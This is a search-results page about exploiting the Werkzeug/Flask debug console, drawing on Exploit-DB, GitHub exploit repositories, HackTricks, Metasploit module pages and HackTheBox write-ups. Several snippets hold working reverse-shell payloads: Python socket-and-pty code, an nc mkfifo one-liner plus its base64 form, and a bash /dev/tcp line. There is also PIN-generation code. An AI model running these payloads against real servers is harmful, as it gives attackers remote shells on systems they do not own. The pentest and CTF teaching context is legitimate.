🌐
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
🌐
GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Starred by 39 users
Forked by 22 users
Languages   Python
🌐
GitHub
github.com › Fare9 › PyWerkzeug-Debug-Command-Execution
GitHub - Fare9/PyWerkzeug-Debug-Command-Execution: python exploit for werkzeug debug shell command execution
People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.
Starred by 10 users
Forked by 8 users
Languages   Python 100.0% | Python 100.0%
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip
werkzeug vulnerabilities
Security vulnerabilities and package health score for pip package werkzeug
🌐
HackTricks
book.hacktricks.xyz › network-services-pentesting › pentesting-web › werkzeug
Werkzeug / Flask Debug - HackTricks
This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
🌐
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
Tested against the following Werkzeug versions: - 3.0.3 on Debian 12, Windows 11 and macOS 14.6 - 1.1.4 on Debian 12 - 1.0.1 on Debian 12 - 0.11.5 on Debian 12 - 0.10 on Debian 12 · h00die [email protected] Graeme Robinson metasploit ... To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced': ... The predictive window has collapsed. Exploitation follows disclosure in days.
🌐
GitLab
0xdf.gitlab.io › 2022 › 03 › 10 › htb-epsilon.html
HTB: Epsilon | 0xdf hacks stuff
March 10, 2022 - HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 3550 Server: Werkzeug/2.0.2 Python/3.8.10 Date: Wed, 09 Mar 2022 18:22:20 GMT
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - msf6 exploit(multi/http/werkzeug_debug_rce) > show options Module options (exploit/multi/http/werkzeug_debug_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /console yes URI to the console VHOST no HTTP server virtual host Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.204.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 werkzeug 0.10 and older
🌐
Rawsec
blog.raw.pm › en › HackTheBox-ScriptKiddie-write-up
ScriptKiddie - Write-up - HackTheBox - Rawsec - raw.pm
September 27, 2025 - ... This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0.
Find elsewhere
🌐
GitHub
github.com › MistSpark › Vigilant-Exploits › blob › master › Werkzeug_Exploit.py
Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
payload = '''import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('%s',%s));os.dup2(s.fileno(),0);'''\ · '''os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close();'''%(attackerIP,port)
Author   MistSpark
🌐
Medium
medium.com › swlh › hacking-flask-applications-939eae4bffed
Hacking Flask Applications. Executing arbitrary commands using the… | by Vickie Li | The Startup | Medium
February 18, 2020 - Flask is a micro web framework written in Python. It has become one of the most popular Python web application frameworks. Flask began as a wrapper around Jinja and Werkzeug. The vulnerability that we are going to discuss today is caused by Werkzeug.
🌐
Exploit-DB
exploit-db.com › exploits › 37814
Werkzeug - Debug Shell Command Execution (Metasploit) - Python remote Exploit
August 18, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
Werkzeug 2.0.2 vulnerabilities
Security vulnerabilities and package health score for pip package Werkzeug 2.0.2
🌐
GitHub
github.com › topics › werkzeug-exploit
werkzeug-exploit · GitHub Topics · GitHub
WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.
🌐
Medium
nateahess.medium.com › htb-writeup-werkzeug-7bb0640d79f0
Hack The Box: Skript Kiddie — Werkzeug | by Nate Hess | Medium
December 29, 2022 - Before you hit Enter, make sure to set up a netcat listener on the port you used in the script! There we have it! We have officially exploited the Werkzeug vulnerability and established a reverse shell connection.
🌐
Vulnlab
arz101.medium.com › hackthebox-opensource-84e644164a4c
HackTheBox — Opensource - ARZ101 - Medium
October 8, 2022 - rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/fecho 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh ... Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address, boot-id from /proc/sys/kernel/random/boot_id and cgroup from /proc/self/cgroup also replacing the path to flask app , modname and the user running this flask app
🌐
GitLab
0xdf.gitlab.io › 2022 › 10 › 08 › htb-opensource.html
HTB: OpenSource | 0xdf hacks stuff - GitLab
October 8, 2022 - So if I pass in “0xdf”, it generates the expected string, as demonstrated in this Python terminal: oxdf@hacky$ python Python 3.8.10 (default, Jun 22 2022, 20:18:18) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license" for more information.
🌐
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › werkzeug
Werkzeug Pentesting - Exploit Notes
__import__('os').popen('whoami').read(); import os; print(os.popen("whoami").read()) # Reverse shell __import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read() Reference: https://www.daehee.com/werkzeug-console-pin-exploit/ Prepare the Python payload for getting the PIN code in the console page.
🌐
Red Hat
bugzilla.redhat.com › show_bug.cgi
2170243 – (CVE-2023-23934) CVE-2023-23934 python-werkzeug: cookie prefixed with = can shadow unprefixed cookie
Red Hat Bugzilla – Bug 2170243 · This site requires JavaScript to be enabled to function correctly, please enable it · Privacy Contact FAQ Legal